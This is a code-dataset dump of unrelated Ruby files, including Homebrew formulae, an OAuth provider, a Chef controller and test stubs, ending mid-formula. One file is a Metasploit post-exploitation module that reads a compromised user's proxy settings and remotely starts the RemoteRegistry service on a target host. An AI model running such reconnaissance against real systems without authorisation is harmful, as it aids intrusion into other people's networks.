value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 32.832 | 273 | 0.649204 |
7a6120ce512caeecc08853c94c87570be60835ba | 387 | module Speed
def go_fast
p "I am an instance of #{self.class} and I can run very fast"
end
end
class Car
include Speed
def go
p "I am an instance of Car and I go with normal speed"
end
end
class Truck < Car
def go_slow
p "I am an instance of Truck and I go with slow speed"
end
end
Car.new.go
Car.new.go_fast
Truck.new.go
Truck.new.go_slow
Truck.new.go_fast
| 15.48 | 65 | 0.700258 |
1da955814797f66bc5482a10403847245b9cec90 | 3,573 | ##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/windows/services'
class Metasploit3 < Msf::Post
include Post::Windows::Services
def initialize
super(
'Name' => 'Windows Gather Proxy Setting',
'Version' => '$Revision$',
'Description' => %q{
This module pulls a user's proxy settings. If neither RHOST or SID
are set it pulls the current user, else it will pull the user's settings
specified SID and target host.
},
'Author' => [ 'mubix' ],
'License' => MSF_LICENSE,
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
)
register_options(
[
OptAddress.new('RHOST', [ false, 'Remote host to clone settings to, defaults to local' ]),
OptString.new('SID', [ false, 'SID of user to clone settings to (SYSTEM is S-1-5-18)' ])
], self.class)
end
def run
if datastore['SID']
root_key, base_key = session.sys.registry.splitkey("HKU\\#{datastore['SID']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
else
root_key, base_key = session.sys.registry.splitkey("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
end
if datastore['RHOST']
begin
key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Unable to contact remote registry service on #{datastore['RHOST']}")
print_status("Attempting to start service remotely...")
begin
service_start('RemoteRegistry',datastore['RHOST'])
rescue
print_error('Unable to read registry or start the service, exiting...')
return
end
startedreg = true
key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
end
open_key = key.open_key(base_key)
else
open_key = session.sys.registry.open_key(root_key, base_key)
end
values = open_key.query_value('DefaultConnectionSettings')
#If we started the service we need to stop it.
service_stop('RemoteRegistry',datastore['RHOST']) if startedreg
data = values.data
print_status "Proxy Counter = #{(data[4,1].unpack('C*'))[0]}"
case (data[8,1].unpack('C*'))[0]
when 1
print_status "Setting: No proxy settings"
when 3
print_status "Setting: Proxy server"
when 5
print_status "Setting: Set proxy via AutoConfigure script"
when 7
print_status "Setting: Proxy server and AutoConfigure script"
when 9
print_status "Setting: WPAD"
when 11
print_status "Setting: WPAD and Proxy server"
when 13
print_status "Setting: WPAD and AutoConfigure script"
when 15
print_status "Setting: WPAD, Proxy server and AutoConfigure script"
else
print_status "Setting: Unknown proxy setting found"
end
cursor = 12
proxyserver = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
print_status "Proxy Server: #{proxyserver}" if proxyserver != ""
cursor = cursor + 4 + (data[cursor].unpack('C*'))[0]
additionalinfo = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
print_status "Additional Info: #{additionalinfo}" if additionalinfo != ""
cursor = cursor + 4 + (data[cursor].unpack('C*'))[0]
autoconfigurl = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
print_status "AutoConfigURL: #{autoconfigurl}" if autoconfigurl != ""
end
end
| 31.619469 | 159 | 0.684859 |
7919cf79090facad2cecd7472279bb47620d8670 | 1,127 | =begin
#Kubernetes
#No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.13.4
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.2.3
=end
require 'spec_helper'
require 'json'
# Unit tests for Kubernetes::SettingsApi
# Automatically generated by swagger-codegen (github.com/swagger-api/swagger-codegen)
# Please update as you see appropriate
describe 'SettingsApi' do
before do
# run before each test
@instance = Kubernetes::SettingsApi.new
end
after do
# run after each test
end
describe 'test an instance of SettingsApi' do
it 'should create an instance of SettingsApi' do
expect(@instance).to be_instance_of(Kubernetes::SettingsApi)
end
end
# unit tests for get_api_group
#
# get information of a group
# @param [Hash] opts the optional parameters
# @return [V1APIGroup]
describe 'get_api_group test' do
it "should work" do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 23.978723 | 102 | 0.735581 |
5d64d916c7191fb2f2c08bf9b5da4ca5b7145bd5 | 275 | require 'test_helper'
class LinkParserTest < Minitest::Test
def test_parse
@html = File.read File.expand_path("track_fragment.html", "test/data")
assert_equal "https://mp3mp3.site/start.php?q=-50678799_422765730",
Sektor::LinkParser.parse(@html)
end
end
| 22.916667 | 74 | 0.727273 |
abb2466d07284b61c5895e3f0d321de926d0d33e | 505 | load 'tasks/audit_code.rake'
load 'tasks/ci/brakeman.rake'
load 'tasks/ci/bundle_audit.rake'
load 'tasks/ci/commit_cop.rake'
load 'tasks/ci/dependencies.rake'
load 'tasks/ci/housekeep.rake'
load 'tasks/ci/linguist.rake'
load 'tasks/ci/minitest.rake'
load 'tasks/ci/notes.rake'
load 'tasks/ci/prometheus.rake'
load 'tasks/ci/redmine.rake'
load 'tasks/ci/rugged.rake'
load 'tasks/ci/server.rake'
load 'tasks/ci/simplecov.rake'
load 'tasks/ci/slack.rake'
load 'tasks/ci/stats.rake'
load 'tasks/rubocop.rake'
| 28.055556 | 33 | 0.768317 |
b936c2fe20077f6513c8bf561c1b505a88d8703e | 3,248 | module Sorcery
module Controller
module Submodules
module External
module Providers
# This module adds support for OAuth with microsoft liveid
# When included in the 'config.providers' option, it adds a new option, 'config.liveid'.
# Via this new option you can configure LiveId specific settings like your app's key and secret.
#
# config.liveid.key = <key>
# config.liveid.secret = <secret>
# ...
#
module Liveid
def self.included(base)
base.module_eval do
class << self
attr_reader :liveid # access to liveid_client.
def merge_liveid_defaults!
@defaults.merge!(:@liveid => LiveidClient)
end
end
merge_liveid_defaults!
update!
end
end
module LiveidClient
include Base::BaseClient
class << self
attr_accessor :key,
:secret,
:callback_url,
:site,
:auth_url,
:token_path,
:user_info_url,
:scope,
:user_info_mapping
attr_reader :access_token
include Protocols::Oauth2
def init
@site = "https://oauth.live.com/"
@auth_url = "/authorize"
@token_path = "/token"
@user_info_url = "https://apis.live.net/v5.0/me"
@scope = "wl.basic wl.emails wl.offline_access"
@user_info_mapping = {}
end
def get_user_hash
user_hash = {}
@access_token.token_param = "access_token"
response = @access_token.get(@user_info_url)
user_hash[:user_info] = JSON.parse(response.body)
user_hash[:uid] = user_hash[:user_info]['id']
user_hash
end
def has_callback?
true
end
# calculates and returns the url to which the user should be redirected,
# to get authenticated at the external provider's site.
def login_url(params,session)
self.authorize_url({:authorize_url => @auth_url})
end
# tries to login the user from access token
def process_callback(params,session)
args = {}
args.merge!({:code => params[:code]}) if params[:code]
options = {
:access_token_path => @token_path,
:access_token_method => :post
}
@access_token = self.get_access_token(args, options)
end
end
init
end
end
end
end
end
end
end
| 34.924731 | 106 | 0.44181 |
39e8ea2e11eeba93cc04daad1d3200d7485b9c05 | 320 | # frozen_string_literal: true
FactoryBot.define do
factory :project_repository do
project
after(:build) do |project_repository, _|
project_repository.shard_name = project_repository.project.repository_storage
project_repository.disk_path = project_repository.project.disk_path
end
end
end
| 24.615385 | 83 | 0.778125 |
26a5d1c2f22c8857879a2ea2830809f6203b0695 | 2,206 | class Znc < Formula
desc "Advanced IRC bouncer"
homepage "https://wiki.znc.in/ZNC"
url "https://znc.in/releases/archive/znc-1.7.1.tar.gz"
sha256 "44cfea7158ea05dc2547c7c6bc22371e66c869def90351de0ab90a9c200d39c4"
revision 1
bottle do
sha256 "29762087ad3267dd6b7164aad34e6cbe6316efe0d5d858b6bb20405b89f37e05" => :mojave
sha256 "3fbeaad6f7f86d78aee001eb16f1093fa40a88cc9ccd4da4f29a35b06912d1e1" => :high_sierra
sha256 "b3bd651781f249b40cced788e3322a9ae09fd78d31ebd3bbfba073dd35666793" => :sierra
end
head do
url "https://github.com/znc/znc.git"
depends_on "autoconf" => :build
depends_on "automake" => :build
depends_on "libtool" => :build
end
depends_on "pkg-config" => :build
depends_on "icu4c"
depends_on "openssl"
depends_on "python"
def install
ENV.cxx11
# These need to be set in CXXFLAGS, because ZNC will embed them in its
# znc-buildmod script; ZNC's configure script won't add the appropriate
# flags itself if they're set in superenv and not in the environment.
ENV.append "CXXFLAGS", "-std=c++11"
ENV.append "CXXFLAGS", "-stdlib=libc++" if ENV.compiler == :clang
system "./autogen.sh" if build.head?
system "./configure", "--prefix=#{prefix}", "--enable-python"
system "make", "install"
end
plist_options :manual => "znc --foreground"
def plist; <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>#{plist_name}</string>
<key>ProgramArguments</key>
<array>
<string>#{opt_bin}/znc</string>
<string>--foreground</string>
</array>
<key>StandardErrorPath</key>
<string>#{var}/log/znc.log</string>
<key>StandardOutPath</key>
<string>#{var}/log/znc.log</string>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>300</integer>
</dict>
</plist>
EOS
end
test do
mkdir ".znc"
system bin/"znc", "--makepem"
assert_predicate testpath/".znc/znc.pem", :exist?
end
end
| 30.219178 | 106 | 0.652312 |
87b0a27289b1192b832e6482162570835c93caea | 794 | require "erb"
module Wps
module Apis
module Authen
def index(redirect_uri, state, scope = :user_info)
uri = ERB::Util.url_encode(redirect_uri)
"#{URI::join(API_BASE_URL, 'oauthapi/v2/authorize')}?redirect_uri=#{uri}&appid=#{app_id}&state=#{state}&response_type=code&scope=#{scope}"
end
def access_token(code)
request.get 'oauthapi/v2/token', params: { code: code, appid: app_id, appkey: app_key }
end
def refresh_access_token(token)
request.post 'oauthapi/v2/token/refresh', { refresh_token: token, appid: app_id, appkey: app_key }
end
def user_info(access_token, openid)
request.get 'oauthapi/v3/user', params: { appid: app_id, access_token: access_token, openid: openid }
end
end
end
end
| 31.76 | 146 | 0.662469 |
ac452cb7c227a45a69183da9d9b8b3c2f3d09000 | 2,443 | # frozen_string_literal: true
# Copyright The OpenTelemetry Authors
#
# SPDX-License-Identifier: Apache-2.0
lib = File.expand_path('lib', __dir__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'opentelemetry/instrumentation/que/version'
Gem::Specification.new do |spec|
spec.name = 'opentelemetry-instrumentation-que'
spec.version = OpenTelemetry::Instrumentation::Que::VERSION
spec.authors = ['OpenTelemetry Authors']
spec.email = ['[email protected]']
spec.summary = 'Que instrumentation for the OpenTelemetry framework'
spec.description = 'Que instrumentation for the OpenTelemetry framework'
spec.homepage = 'https://github.com/open-telemetry/opentelemetry-ruby'
spec.license = 'Apache-2.0'
spec.files = ::Dir.glob('lib/**/*.rb') +
::Dir.glob('*.md') +
['LICENSE', '.yardopts']
spec.require_paths = ['lib']
spec.required_ruby_version = '>= 2.5.0'
spec.add_dependency 'opentelemetry-api', '~> 1.0.0.rc3'
spec.add_dependency 'opentelemetry-instrumentation-base', '~> 0.18.2'
spec.add_development_dependency 'activerecord', '~> 6.0'
spec.add_development_dependency 'appraisal', '~> 2.2.0'
spec.add_development_dependency 'bundler', '>= 1.17'
spec.add_development_dependency 'minitest', '~> 5.0'
spec.add_development_dependency 'opentelemetry-sdk', '~> 1.0.0.rc1'
spec.add_development_dependency 'pg', '~> 1.1'
spec.add_development_dependency 'que', '~> 1.0.0.beta4'
spec.add_development_dependency 'rake', '~> 13.0'
spec.add_development_dependency 'rubocop', '~> 0.73.0'
spec.add_development_dependency 'simplecov', '~> 0.17.1'
spec.add_development_dependency 'yard', '~> 0.9'
spec.add_development_dependency 'yard-doctest', '~> 0.1.6'
if spec.respond_to?(:metadata)
spec.metadata['changelog_uri'] = "https://open-telemetry.github.io/opentelemetry-ruby/opentelemetry-instrumentation-que/v#{OpenTelemetry::Instrumentation::Que::VERSION}/file.CHANGELOG.html"
spec.metadata['source_code_uri'] = 'https://github.com/open-telemetry/opentelemetry-ruby/tree/main/instrumentation/que'
spec.metadata['bug_tracker_uri'] = 'https://github.com/open-telemetry/opentelemetry-ruby/issues'
spec.metadata['documentation_uri'] = "https://open-telemetry.github.io/opentelemetry-ruby/opentelemetry-instrumentation-que/v#{OpenTelemetry::Instrumentation::Que::VERSION}"
end
end
| 47.901961 | 193 | 0.724928 |
1d2c38b127b11f95bc3ca2ddff1a7a24bdc815b3 | 187 | require "test_helper"
class PlayerTest < Minitest::Test
def setup
@player = Minesweeper::Player.new
end
def test_that_it_has_a_player_class
refute_nil @player
end
end
| 13.357143 | 37 | 0.737968 |
919d0626a9484e52d59494a01c4645eff0028fa8 | 1,062 | #
# Be sure to run `pod spec lint JPushApiManager.podspec' to ensure this is a
# valid spec and to remove all comments including this before submitting the spec.
#
# To learn more about Podspec attributes see http://docs.cocoapods.org/specification.html
# To see working Podspecs in the CocoaPods repo see https://github.com/CocoaPods/Specs/
#
Pod::Spec.new do |s|
s.name = "JPushApiManager"
s.version = "3.1.2.1"
s.summary = "组件化方式管理极光推送代码"
s.description = <<-DESC
组件化方式管理极光推送代码,以方便代码中一处修改全局生效
DESC
s.homepage = "https://github.com/XFNicar/JPushApiManager"
s.license = { :type => "MIT", :file => "LICENSE" }
s.author = { "XieFei" => "[email protected]" }
s.platform = :ios, "9.0"
s.source = { :git => "https://github.com/XFNicar/JPushApiManager.git", :tag => "#{s.version}" }
s.source_files = "JPushApiManager/JPushApiManager/*.{h,m}"
s.requires_arc = true
# s.ios.vendored_libraries = 'libs/*.a'
s.dependency "JPush", "~> 3.1.2"
end
| 36.62069 | 103 | 0.629002 |
5d997dd3b87b6b1b4aca4112c35dee63fe4fa76d | 3,556 | #
# Lockstep Software Development Kit for Ruby
#
# (c) 2021-2022 Lockstep, Inc.
#
# For the full copyright and license information, please view the LICENSE
# file that was distributed with this source code.
#
# @author Ted Spence <[email protected]>
# @author Manish Narayan B S <[email protected]>
# @author Rishi Rajkumar Jawahar <[email protected]>
# @copyright 2021-2022 Lockstep, Inc.
# @version 2022.3
# @link https://github.com/Lockstep-Network/lockstep-sdk-ruby
#
require 'json'
module LockstepSdk
# App enrollment and custom field merged into one
class AppEnrollmentCustomFieldModel
# Initialize the AppEnrollmentCustomFieldModel using the provided prototype
def initialize(params = {})
@app_enrollment_id = params.dig(:app_enrollment_id)
@app_id = params.dig(:app_id)
@name = params.dig(:name)
@app_type = params.dig(:app_type)
@group_key = params.dig(:group_key)
@custom_field_definition_id = params.dig(:custom_field_definition_id)
@custom_field_label = params.dig(:custom_field_label)
@data_type = params.dig(:data_type)
@sort_order = params.dig(:sort_order)
@string_value = params.dig(:string_value)
@numeric_value = params.dig(:numeric_value)
end
# @return [Uuid] Unique id for the app enrollment
attr_accessor :app_enrollment_id
# @return [Uuid] Id of enrolled app
attr_accessor :app_id
# @return [String] The name of the application
attr_accessor :name
# @return [String] Tag for what type of app the application is
attr_accessor :app_type
# @return [Uuid] The GroupKey uniquely identifies a single Lockstep Platform account. All records for this account will share the same GroupKey value. GroupKey values cannot be changed once created. For more information, see [Accounts and GroupKeys](https://developer.lockstep.io/docs/accounts-and-groupkeys).
attr_accessor :group_key
# @return [Uuid] Unique Id for the custom field definition
attr_accessor :custom_field_definition_id
# @return [String] Text to display in-application for custom field
attr_accessor :custom_field_label
# @return [String] Data type of the custom field definition
attr_accessor :data_type
# @return [Int32] Used for display logic when multiple app enrollment custom fields exist
attr_accessor :sort_order
# @return [String] String of data for field
attr_accessor :string_value
# @return [Double] Number data for field
attr_accessor :numeric_value
# @return [object] This object as a JSON key-value structure
def as_json(options={})
{
'appEnrollmentId' => @app_enrollment_id,
'appId' => @app_id,
'name' => @name,
'appType' => @app_type,
'groupKey' => @group_key,
'customFieldDefinitionId' => @custom_field_definition_id,
'customFieldLabel' => @custom_field_label,
'dataType' => @data_type,
'sortOrder' => @sort_order,
'stringValue' => @string_value,
'numericValue' => @numeric_value,
}
end
# @return [String] This object converted to a JSON string
def to_json(*options)
"[#{as_json(*options).to_json(*options)}]"
end
end
end
| 41.348837 | 317 | 0.639483 |
39c79e10e3412a81ff8c43d3747944396c03c51d | 338 | name 'gusztavvargadr_packer_sql17d'
maintainer 'Gusztáv Varga'
maintainer_email '[email protected]'
license 'MIT'
description 'Installs/Configures Packer SQL Server 2017 Developer'
long_description 'Installs/Configures Packer SQL Server 2017 Developer'
version '0.0.0'
depends 'gusztavvargadr_packer_w'
depends 'gusztavvargadr_mssql'
| 30.727273 | 71 | 0.840237 |
f87aa0b4d5d8eb782c19cf3de5960f8266d87465 | 869 | Pod::Spec.new do |s|
s.name = "AppSendr-iOS-SDK"
s.version = "1.0"
s.summary = "iOS SDK for AppSendrPlus"
s.description = <<-DESC
Use AppSendr iOS SDK in your application to automatically download the latest version available on OTA.
DESC
s.homepage = "https://github.com/Lyc0s/AppSendr-iOS-SDK"
s.license = { :type => "MIT", :file => "LICENSE" }
s.author = { "Jeremy Grenier" => "[email protected]" }
s.social_media_url = "https://twitter.com/jeremygrenier"
s.platform = :ios
s.platform = :ios, "7.0"
s.source = { :git => "https://github.com/Lyc0s/AppSendr-iOS-SDK", :tag => "1.0" }
s.source_files = "AppSendr-iOS-SDK", "AppSendr-iOS-SDK/*.{h,m}"
s.frameworks = "Foundation"
s.requires_arc = true
end | 23.486486 | 122 | 0.565017 |
62bf6fdf2d93040c9f26d60e377edf18fd87096e | 1,243 | # frozen_string_literal: true
class ContributorName < ApplicationRecord
belongs_to :publication, inverse_of: :contributor_names
belongs_to :user, inverse_of: :contributor_names, optional: true
validates :publication, :position, presence: true
validate :at_least_one_name_present
delegate :webaccess_id, to: :user, prefix: false, allow_nil: true
def name
full_name = first_name.to_s
full_name += ' ' if first_name.present? && middle_name.present?
full_name += middle_name.to_s if middle_name.present?
full_name += ' ' if middle_name.present? && last_name.present? || first_name.present? && last_name.present?
full_name += last_name.to_s if last_name.present?
full_name
end
def to_scholarsphere_creator
ss_attrs = {}
ss_attrs[:psu_id] = webaccess_id if webaccess_id
ss_attrs[:orcid] = orcid_identifier if orcid_identifier
ss_attrs[:display_name] = name if name.present?
ss_attrs.presence
end
private
def orcid_identifier
user.try(:orcid).try(:gsub, '-', '')
end
def at_least_one_name_present
unless first_name.present? || middle_name.present? || last_name.present?
errors[:base] << 'At least one name must be present.'
end
end
end
| 30.317073 | 111 | 0.718423 |
03b640d18db27c5bb2780b94c55ff0df474c0964 | 96 | require 'date'
describe "DateTime.jd" do
it "needs to be reviewed for spec completeness"
end
| 16 | 49 | 0.75 |
e223d5237899a5fd8d9e97d6fab38ff9bbb209ce | 319 | class YoutubeUploadLimitExceededException < StandardError
def initialize(message = nil)
if message.nil?
message = getDefaultMessage
end
@message = message
super
end
def getDefaultMessage
'Youtube uploadLimitExceeded: The user has exceeded the number of videos they may upload.'
end
end | 22.785714 | 94 | 0.742947 |
262a1141e00f498da92d3605e64d0441408e35b2 | 197 | module Bot::DiscordEvents
module Heartbeat
extend Discordrb::EventContainer
heartbeat do |_event|
puts "Heartbeat at #{Time.now}"
end
end
end | 24.625 | 47 | 0.57868 |
91decef22a0d3bfeffcee8d83caa00da7343e601 | 1,575 | # Encoding: UTF-8
[{beforeRunningCommand: "nop",
command:
"#!/usr/bin/env ruby\n\nrequire ENV['TM_BUNDLE_SUPPORT'] + \"/lib/spec/mate/switch_command\"\nSpec::Mate::SwitchCommand.new.go_to_twin(ENV['TM_PROJECT_DIRECTORY'], ENV['TM_FILEPATH'])",
input: "none",
keyEquivalent: "^$",
name: "Alternate File",
output: "showAsTooltip",
scope: "source.ruby, text.html.ruby",
uuid: "0C96C910-0A83-4AFE-AEF7-1F4882A00232"},
{beforeRunningCommand: "saveActiveFile",
command:
"#!/usr/bin/env ruby\n\nrequire ENV['TM_BUNDLE_SUPPORT'] + \"/lib/spec_mate\"\nSpecMate.new.run_file STDOUT",
fallbackInput: "document",
input: "document",
keyEquivalent: "@r",
name: "Run Behaviour Description",
output: "showAsHTML",
scope: "source.ruby.rspec",
uuid: "B5906021-8E54-4863-A13B-EA46333DB5F1"},
{beforeRunningCommand: "saveModifiedFiles",
command:
"#!/usr/bin/env ruby\n\nrequire ENV['TM_BUNDLE_SUPPORT'] + \"/lib/spec_mate\"\nSpecMate.new.run_files STDOUT\n",
input: "none",
keyEquivalent: "~@r",
name: "Run Behaviour Descriptions in selected files/directories",
output: "showAsHTML",
scope: "source.ruby.rspec",
uuid: "67E726E0-63E2-4840-B8BB-37F665CD34B8"},
{beforeRunningCommand: "saveActiveFile",
command:
"#!/usr/bin/env ruby\n\nrequire ENV['TM_BUNDLE_SUPPORT'] + \"/lib/spec_mate\"\nSpecMate.new.run_focussed STDOUT\n",
fallbackInput: "line",
input: "document",
keyEquivalent: "@R",
name: "Run Focused Example",
output: "showAsHTML",
scope: "source.ruby.rspec",
uuid: "240FDD9D-CD49-4917-9003-80A3E1DADFBA"}]
| 38.414634 | 188 | 0.703492 |
03b343767ab0da0ed9adf17c29de51d83b0c4675 | 2,460 | #
# Author:: Adam Jacob (<[email protected]>)
# Author:: Christopher Brown (<[email protected]>)
# Copyright:: Copyright (c) 2008 Opscode, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require 'chef' / 'node'
class ChefServerSlice::Nodes < ChefServerSlice::Application
provides :html, :json
before :fix_up_node_id
before :login_required, :only => [ :create, :update, :destroy ]
before :authorized_node, :only => [ :update, :destroy ]
def index
@node_list = Chef::Node.list
display @node_list
end
def show
begin
@node = Chef::Node.load(params[:id])
rescue Net::HTTPServerException => e
raise NotFound, "Cannot load node #{params[:id]}"
end
if request.xhr?
render JSON.pretty_generate(@node), :layout => false
else
display @node
end
end
def create
@node = params.has_key?("inflated_object") ? params["inflated_object"] : nil
if @node
@status = 202
@node.save
display @node
else
raise BadRequest, "You must provide a Node to create"
end
end
def update
if request.xhr?
@node = JSON.parse(params[:value])
else
@node = params.has_key?("inflated_object") ? params["inflated_object"] : nil
end
if @node
@status = 202
@node.save
if request.xhr?
partial :node, :node => @node
else
display @node
end
else
raise NotFound, "You must provide a Node to update"
end
end
def destroy
begin
@node = Chef::Node.load(params[:id])
rescue RuntimeError => e
raise BadRequest, "Node #{params[:id]} does not exist to destroy!"
end
@node.destroy
if request.xhr?
@status = 202
display @node
else
redirect(absolute_slice_url(:nodes), {:message => { :notice => "Node #{params[:id]} deleted successfully" }, :permanent => true})
end
end
end
| 25.894737 | 135 | 0.643089 |
08e25b2db3926a8d6ed29dbfba4f54950317e52e | 673 | # frozen_string_literal: true
# from https://pawelurbanek.com/rails-secure-encrypt-decrypt
module Encryptable
extend ActiveSupport::Concern
class_methods do
def attr_encrypted(*attributes)
attributes.each do |attribute|
define_method("#{attribute}=".to_sym) do |value|
return if value.nil?
self.public_send(
"encrypted_#{attribute}=".to_sym,
EncryptionService.encrypt(value)
)
end
define_method(attribute) do
value = self.public_send("encrypted_#{attribute}".to_sym)
EncryptionService.decrypt(value) if value.present?
end
end
end
end
end
| 25.884615 | 67 | 0.644874 |
1cf9115985b1431ef6a2cff916ca03503b5b0664 | 737 | # == Schema Information
#
# Table name: guest_room_reservations
#
# id :bigint not null, primary key
# date :date not null
# created_at :datetime not null
# updated_at :datetime not null
# community_id :bigint not null
# resident_id :bigint not null
#
# Indexes
#
# index_guest_room_reservations_on_community_id (community_id)
# index_guest_room_reservations_on_resident_id (resident_id)
#
# Foreign Keys
#
# fk_rails_... (community_id => communities.id)
# fk_rails_... (resident_id => residents.id)
#
require 'rails_helper'
RSpec.describe GuestRoomReservation, type: :model do
pending "add some examples to (or delete) #{__FILE__}"
end
| 26.321429 | 64 | 0.663501 |
7a378b927def77dd5668408d6d19a6bfe9101c23 | 5,762 | class CfnLint < Formula
include Language::Python::Virtualenv
desc "Validate CloudFormation templates against the CloudFormation spec"
homepage "https://github.com/aws-cloudformation/cfn-python-lint/"
url "https://files.pythonhosted.org/packages/5f/95/0f5fc9cc4798bace8a8991171dad1ccf46dfa10d814d00fbc28bb718a71a/cfn-lint-0.40.0.tar.gz"
sha256 "2d330f38197d4b8b560905dcd421227394a3bcfb8cb0fb4c6b10410f233d6683"
license "MIT"
livecheck do
url :stable
end
bottle do
cellar :any_skip_relocation
sha256 "09b9c77e171d96052e0149b5f2037ec0a3dcfc9e0d03bfa533314e35d6cb90f6" => :catalina
sha256 "1d8a2cfd91d0374ecf31e90bd9e891a386a9e090e238cdde26f5796a61dfc82f" => :mojave
sha256 "a3eb0020d7785e56cf274f66334fbecbf7c014b047e143dffc6a423e84d576e4" => :high_sierra
sha256 "288bfc18dec68f15068db92e6aac782044a630ec48f655a13c4ea7b2261c0b4f" => :x86_64_linux
end
depends_on "[email protected]"
resource "attrs" do
url "https://files.pythonhosted.org/packages/81/d0/641b698d05f0eaea4df4f9cebaff573d7a5276228ef6b7541240fe02f3ad/attrs-20.2.0.tar.gz"
sha256 "26b54ddbbb9ee1d34d5d3668dd37d6cf74990ab23c828c2888dccdceee395594"
end
resource "aws-sam-translator" do
url "https://files.pythonhosted.org/packages/47/b0/35e15b6abb646956e9e63fbe69b8fa019c0db1989d029a55041a39d88219/aws-sam-translator-1.28.1.tar.gz"
sha256 "9d591c2b37fdd9b050428b135c8d7abc9641551bbfc7bb7fcb4009efba92184d"
end
resource "boto3" do
url "https://files.pythonhosted.org/packages/8e/dd/7115a7c23afb833475d15c33773f74e180f27f3ffc7796e74a729bdf51b8/boto3-1.16.11.tar.gz"
sha256 "fe5fbcf988e6f5b87a31ddd6ba92a6485d35f666d26b9c9750263aa8b0d33b60"
end
resource "botocore" do
url "https://files.pythonhosted.org/packages/ad/4b/6fba62a48d803e88ebede6b50c2b03c4df61b5e52ffc290e64316244cf62/botocore-1.19.11.tar.gz"
sha256 "85c49ec723e86317af46594f9a1843c6d64ecc3ab43c6e0a58a57d9c7cbbebe5"
end
resource "decorator" do
url "https://files.pythonhosted.org/packages/da/93/84fa12f2dc341f8cf5f022ee09e109961055749df2d0c75c5f98746cfe6c/decorator-4.4.2.tar.gz"
sha256 "e3a62f0520172440ca0dcc823749319382e377f37f140a0b99ef45fecb84bfe7"
end
resource "jmespath" do
url "https://files.pythonhosted.org/packages/3c/56/3f325b1eef9791759784aa5046a8f6a1aff8f7c898a2e34506771d3b99d8/jmespath-0.10.0.tar.gz"
sha256 "b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9"
end
resource "jsonpatch" do
url "https://files.pythonhosted.org/packages/69/72/24826f61fe4ba535207ed8efe17c82a5e9f9fdf2247054ae829b5c134b71/jsonpatch-1.26.tar.gz"
sha256 "e45df18b0ab7df1925f20671bbc3f6bd0b4b556fb4b9c5d97684b0a7eac01744"
end
resource "jsonpointer" do
url "https://files.pythonhosted.org/packages/52/e7/246d9ef2366d430f0ce7bdc494ea2df8b49d7a2a41ba51f5655f68cfe85f/jsonpointer-2.0.tar.gz"
sha256 "c192ba86648e05fdae4f08a17ec25180a9aef5008d973407b581798a83975362"
end
resource "jsonschema" do
url "https://files.pythonhosted.org/packages/69/11/a69e2a3c01b324a77d3a7c0570faa372e8448b666300c4117a516f8b1212/jsonschema-3.2.0.tar.gz"
sha256 "c8a85b28d377cc7737e46e2d9f2b4f44ee3c0e1deac6bf46ddefc7187d30797a"
end
# only doing this because junit-xml source is not available in PyPI for v1.9
resource "junit-xml" do
url "https://github.com/kyrus/python-junit-xml.git",
revision: "4bd08a272f059998cedf9b7779f944d49eba13a6"
end
resource "networkx" do
url "https://files.pythonhosted.org/packages/ef/d0/f706a9e5814a42c544fa1b2876fc33e5d17e1f2c92a5361776632c4f41ab/networkx-2.5.tar.gz"
sha256 "7978955423fbc9639c10498878be59caf99b44dc304c2286162fd24b458c1602"
end
resource "pyrsistent" do
url "https://files.pythonhosted.org/packages/4d/70/fd441df751ba8b620e03fd2d2d9ca902103119616f0f6cc42e6405035062/pyrsistent-0.17.3.tar.gz"
sha256 "2e636185d9eb976a18a8a8e96efce62f2905fea90041958d8cc2a189756ebf3e"
end
resource "python-dateutil" do
url "https://files.pythonhosted.org/packages/be/ed/5bbc91f03fa4c839c4c7360375da77f9659af5f7086b7a7bdda65771c8e0/python-dateutil-2.8.1.tar.gz"
sha256 "73ebfe9dbf22e832286dafa60473e4cd239f8592f699aa5adaf10050e6e1823c"
end
resource "PyYAML" do
url "https://files.pythonhosted.org/packages/64/c2/b80047c7ac2478f9501676c988a5411ed5572f35d1beff9cae07d321512c/PyYAML-5.3.1.tar.gz"
sha256 "b8eac752c5e14d3eca0e6dd9199cd627518cb5ec06add0de9d32baeee6fe645d"
end
resource "s3transfer" do
url "https://files.pythonhosted.org/packages/50/de/2b688c062107942486c81a739383b1432a72717d9a85a6a1a692f003c70c/s3transfer-0.3.3.tar.gz"
sha256 "921a37e2aefc64145e7b73d50c71bb4f26f46e4c9f414dc648c6245ff92cf7db"
end
resource "six" do
